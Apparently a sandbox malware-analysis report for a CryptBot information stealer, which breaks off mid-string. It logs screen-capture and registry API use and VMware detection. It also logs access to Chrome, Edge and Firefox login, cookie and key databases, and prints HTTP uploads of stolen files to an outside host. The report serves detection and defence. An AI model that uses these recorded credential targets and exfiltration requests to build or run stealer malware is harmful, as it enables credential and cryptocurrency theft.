"file.exe" called "FindNextFileW" with parameter .mitmproxy (UID: 00000000-00006488) "file.exe" called "FindFirstFileW" with parameter %USERPROFILE%\.mitmproxy\* (UID: 00000000-00006488) "file.exe" called "FindNextFileW" with parameter mitmproxy-ca-cert.cer (UID: 00000000-00006488) "file.exe" called "FindNextFileW" with parameter mitmproxy-ca-cert.p12 (UID: 00000000-00006488) "file.exe" called "FindNextFileW" with parameter mitmproxy-ca-cert.pem (UID: 00000000-00006488) "file.exe" called "FindNextFileW" with parameter mitmproxy-ca.p12 (UID: 00000000-00006488) "file.exe" called "FindNextFileW" with parameter mitmproxy-ca.pem (UID: 00000000-00006488) "file.exe" called "FindNextFileW" with parameter mitmproxy-dhparam.pem (UID: 00000000-00006488) "file.exe" called "FindNextFileW" with parameter 3D Objects (UID: 00000000-00006488) "file.exe" called "FindNextFileW" with parameter AppData (UID: 00000000-00006488) "file.exe" called "FindFirstFileW" with parameter %USERPROFILE%\AppData\* (UID: 00000000-00006488) "file.exe" called "FindNextFileW" with parameter Local (UID: 00000000-00006488) "file.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\* (UID: 00000000-00006488) "file.exe" called "FindNextFileW" with parameter Adobe (UID: 00000000-00006488) "file.exe" called "FindNextFileW" with parameter Application Data (UID: 00000000-00006488) "file.exe" called "FindNextFileW" with parameter cLpwUJljrV (UID: 00000000-00006488) "file.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\cLpwUJljrV\* (UID: 00000000-00006488)4b:T12ce,Found reference to API "CreateDCA" (Indicator: "CreateDC"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp") Found reference to API "CreateDCW" (Indicator: "CreateDC"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00006488.00000000.177152.038B0000.00000004.mdmp, 00000000-00006488.00000001.179072.038B0000.00000004.mdmp, 00000000-00006488.00000002.180991.038B0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00006488.00000000.177152.038B0000.00000004.mdmp, 00000000-00006488.00000001.179072.038B0000.00000004.mdmp, 00000000-00006488.00000002.180991.038B0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00006488.00000000.177152.038B0000.00000004.mdmp, 00000000-00006488.00000001.179072.038B0000.00000004.mdmp, 00000000-00006488.00000002.180991.038B0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006488.00000000.177152.038B0000.00000004.mdmp, 00000000-00006488.00000001.179072.038B0000.00000004.mdmp, 00000000-00006488.00000002.180991.038B0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006488.00000000.177152.038B0000.00000004.mdmp, 00000000-00006488.00000001.179072.038B0000.00000004.mdmp, 00000000-00006488.00000002.180991.038B0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006488.00000000.177152.038B0000.00000004.mdmp, 00000000-00006488.00000001.179072.038B0000.00000004.mdmp, 00000000-00006488.00000002.180991.038B0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00006488.00000000.177152.038B0000.00000004.mdmp, 00000000-00006488.00000001.179072.038B0000.00000004.mdmp, 00000000-00006488.00000002.180991.038B0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006488.00000000.177152.038B0000.00000004.mdmp, 00000000-00006488.00000001.179072.038B0000.00000004.mdmp, 00000000-00006488.00000002.180991.038B0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00007868.00000001.184625.03610000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00007868.00000001.184625.03610000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00007868.00000001.184625.03610000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00007868.00000001.184625.03610000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00007868.00000001.184625.03610000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00007868.00000001.184625.03610000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00007868.00000001.184625.03610000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00007868.00000001.184625.03610000.00000004.mdmp")4c:T61a,Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp") Found reference to API "RegQueryInfoKeyW" (Indicator: "RegQueryInfoKey"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp") Found reference to API "RegEnumKeyExA" (Indicator: "RegEnumKey"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp")4d:T84f,"POST /v1/upload.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----Boundary44003225 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Length: 410 Host: fivevf5vs.top" with payload::==> "------Boundary44003225 Content-Disposition: form-data; name="file"; filename="Batosu.bin" Content-Type: application/octet-stream" HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon 23 Sep 2024 01:02:45 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" with response body ==>4F4B....... "POST /v1/upload.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----Boundary57409113 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Length: 43650 Host: fivevf5vs.top" with payload::==> "------Boundary57409113 Content-Disposition: form-data; name="file"; filename="Rofupe.bin" Content-Type: application/octet-stream" HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon 23 Sep 2024 01:02:47 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" with response body ==>4F4B....... "POST /v1/upload.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----Boundary13248248 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Length: 53532 Host: fivevf5vs.top" with payload::==> "------Boundary13248248 Content-Disposition: form-data; name="file"; filename="Wagacaho.bin" Content-Type: application/octet-stream `)e" HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Mon 23 Sep 2024 01:02:49 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" with response body ==>4F4B.......4e:T4f4,"file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{7FCCC86C-228A-40AD-8A58-F590AF7BFDCE}\##?#SCSI#DISK&VEN_VMWARE&PROD_VIRTUAL_SATA_HAR#5&3F6B946&0&000000#{7FCCC86C-228A-40AD-8A58-F590AF7BFDCE}\#") "file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{7FCCC86C-228A-40AD-8A58-F590AF7BFDCE}\##?#SCSI#DISK&VEN_VMWARE&PROD_VIRTUAL_DISK#000000#{7FCCC86C-228A-40AD-8A58-F590AF7BFDCE}\#") "file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F5630D-B6BF-11D0-94F2-00A0C91EFB8B}\##?#SCSI#CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD01#5&3F6B946&0&010000#{53F5630D-B6BF-11D0-94F2-00A0C91EFB8B}\#") "file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F56307-B6BF-11D0-94F2-00A0C91EFB8B}\##?#SCSI#DISK&VEN_VMWARE&PROD_VIRTUAL_SATA_HAR#5&3F6B946&0&000000#{53F56307-B6BF-11D0-94F2-00A0C91EFB8B}\#") "file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F56308-B6BF-11D0-94F2-00A0C91EFB8B}\##?#SCSI#CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD01#5&3F6B946&0&010000#{53F56308-B6BF-11D0-94F2-00A0C91EFB8B}\#") "file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F56307-B6BF-11D0-94F2-00A0C91EFB8B}\##?#SCSI#DISK&VEN_VMWARE&PROD_VIRTUAL_DISK#000000#{53F56307-B6BF-11D0-94F2-00A0C91EFB8B}\#")4f:T594,"POST /v1/upload.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----Boundary44003225 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Length: 410 Host: fivevf5vs.top" with payload:==> "------Boundary44003225 Content-Disposition: form-data; name="file"; filename="Batosu.bin" Content-Type: application/octet-stream" "POST /v1/upload.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----Boundary57409113 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Length: 43650 Host: fivevf5vs.top" with payload:==> "------Boundary57409113 Content-Disposition: form-data; name="file"; filename="Rofupe.bin" Content-Type: application/octet-stream" "POST /v1/upload.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----Boundary13248248 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Length: 53532 Host: fivevf5vs.top" with payload:==> "------Boundary13248248 Content-Disposition: form-data; name="file"; filename="Wagacaho.bin" Content-Type: application/octet-stream `)e"50:T90a,"file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Web Data" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Local State" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Web Data" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Local State" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\cookies.sqlite" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\formhistory.sqlite" "file.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default\key4.db" "file.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" "file.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies" "file.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data" "file.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Local State" "file.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data" "file.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies" "file.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Web Data" "file.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Local State" "file.exe" trying to open a file "%APPDATA%\Mozilla\Firefox\Profiles\ywzu7870.default\cookies.sqlite" "file.exe" trying to open a file "%APPDATA%\Mozilla\Firefox\Profiles\ywzu7870.default\formhistory.sqlite" "file.exe" trying to open a file "%APPDATA%\Mozilla\Firefox\Profiles\ywzu7870.default\key4.db"1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791828913976,"unified_at":"2026-10-12T18:15:13.976Z","metadata":{"hashes":{"sha256":"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","sha1":"9fecb3cfb22a2717c5f0424aa7c197d0ab80c365","md5":"af196dcc95170ab54860051830a7d587","sha512":"e985bdc5722c415e6d80abb4acdefb55693e79566062f83c9137b8e3db2813b95d33c6da12259667182e94d5198095703e8b57083872c997f8ea932cd3fc40ab","ssdeep":"98304:Aevoj/6GK58KRA6t5oHkokMCtQYGDOdA8RcWwlLQmjnAoX:AwojiGK58+A6tyHkokjlb+LnjAoX","ssdeep_chunks":["98304:Aevoj/6","98304:evoj/6G","98304:voj/6GK","98304:oj/6GK5","98304:j/6GK58","98304:/6GK58K","98304:6GK58KR","98304:GK58KRA","98304:K58KRA6","98304:58KRA6t","98304:8KRA6t5","98304:KRA6t5o","98304:RA6t5oH","98304:A6t5oHk","98304:6t5oHko","98304:t5oHkok","98304:5oHkokM","98304:oHkokMC","98304:HkokMCt","98304:kokMCtQ","98304:okMCtQY","98304:kMCtQYG","98304:MCtQYGD","98304:CtQYGDO","98304:tQYGDOd","98304:QYGDOdA","98304:YGDOdA8","98304:GDOdA8R","98304:DOdA8Rc","98304:OdA8RcW","98304:dA8RcWw","98304:A8RcWwl","98304:8RcWwlL","98304:RcWwlLQ","98304:cWwlLQm","98304:WwlLQmj","98304:wlLQmjn","98304:lLQmjnA","98304:LQmjnAo","98304:QmjnAoX","196608:Aevoj/6","196608:evoj/6G","196608:voj/6GK","196608:oj/6GK5","196608:j/6GK58","196608:/6GK58K","196608:6GK58KR","196608:GK58KRA","196608:K58KRA6","196608:58KRA6t","196608:8KRA6t5","196608:KRA6t5o","196608:RA6t5oH","196608:A6t5oHk","196608:6t5oHko","196608:t5oHkok","196608:5oHkokM","196608:oHkokMC","196608:HkokMCt","196608:kokMCtQ","196608:okMCtQY","196608:kMCtQYG","196608:MCtQYGD","196608:CtQYGDO","196608:tQYGDOd","196608:QYGDOdA","196608:YGDOdA8","196608:GDOdA8R","196608:DOdA8Rc","196608:OdA8RcW","196608:dA8RcWw","196608:A8RcWwl","196608:8RcWwlL","196608:RcWwlLQ","196608:cWwlLQm","196608:WwlLQmj","196608:wlLQmjn","196608:lLQmjnA","196608:LQmjnAo","196608:QmjnAoX","98304:AwojiGK","98304:wojiGK5","98304:ojiGK58","98304:jiGK58+","98304:iGK58+A","98304:GK58+A6","98304:K58+A6t","98304:58+A6ty","98304:8+A6tyH","98304:+A6tyHk","98304:A6tyHko","98304:6tyHkok","98304:tyHkokj","98304:yHkokjl","98304:Hkokjlb","98304:kokjlb+","98304:okjlb+L","98304:kjlb+Ln","98304:jlb+Lnj","98304:lb+LnjA","98304:b+LnjAo","98304:+LnjAoX"],"imphash":"92a00f4d0a4448266e9c638fdb1341b9"},"file_info":{"file_name":"file","file_type":["peexe","executable"],"file_type_id":"exe","file_size":6674740,"entropy":6.64,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1727053333000,"last_seen":1788740391000,"last_multi_scan":1788740391000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["cryptbot/v3","cryptocurrencytheft","credentialharvesting","criminal","informationstealer","cryptbot","downloader","evasive"]},"stats":{"av":{"malicious_count":14,"suspicious_count":0,"total_engines":24},"attributions":{"malware_families_count":4,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":81},"sandbox_signatures":{"informative_count":209,"suspicious_count":28,"malicious_count":12,"total":249},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Infostealer/Win.CryptBot","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W32.Evo","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Application.Tedy.35902","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/PSW.Agent.OGR trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Password-Stealer ( 0054cf561 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"YARA","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/ABTrojan.UTGO-8241","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Genus.WLN","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.Win32.4021570","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Win/malicious_confidence_100%","sources":[{"report_type":"quickscan","report_id":""}]},{"value":"CryptoCurrencyTheft","sources":[{"report_type":"qsp","report_id":""}]},{"value":"CryptBot","sources":[{"report_type":"qsp","report_id":""}]},{"value":"CryptBot/V3","sources":[{"report_type":"qsp","report_id":""}]}]},"mitre_attacks":[{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"},{"type":"informative","value":"Possibly checks for the presence of an Antivirus engine"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Discovery","technique":"Browser Information Discovery","attack_id":"T1217","attack_id_wiki":"https://attack.mitre.org/techniques/T1217","identifiers":[{"type":"suspicious","value":"Able to access crypto wallet extension (string)"},{"type":"suspicious","value":"Able to retrieve browser history information"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"malicious","value":"Reads the registry for VMWare specific artifacts"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Impact","technique":"Internal Defacement","attack_id":"T1491.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1491/001","identifiers":[{"type":"suspicious","value":"Detected indicator that file is ransomware"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to retrieve browser cookies data"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using web history"},{"type":"informative","value":"Able to identify virtual environment using user register activity"},{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Privilege Escalation","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"},{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Credential Access","technique":"Password Managers","attack_id":"T1555.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/005","identifiers":[{"type":"suspicious","value":"References password manager extension ID(s)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"malicious","value":"Calls an API typically used to execute an application"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"suspicious","value":"Able to retrieve saved login credentials from browser"},{"type":"informative","value":"References Firefox browser credentials 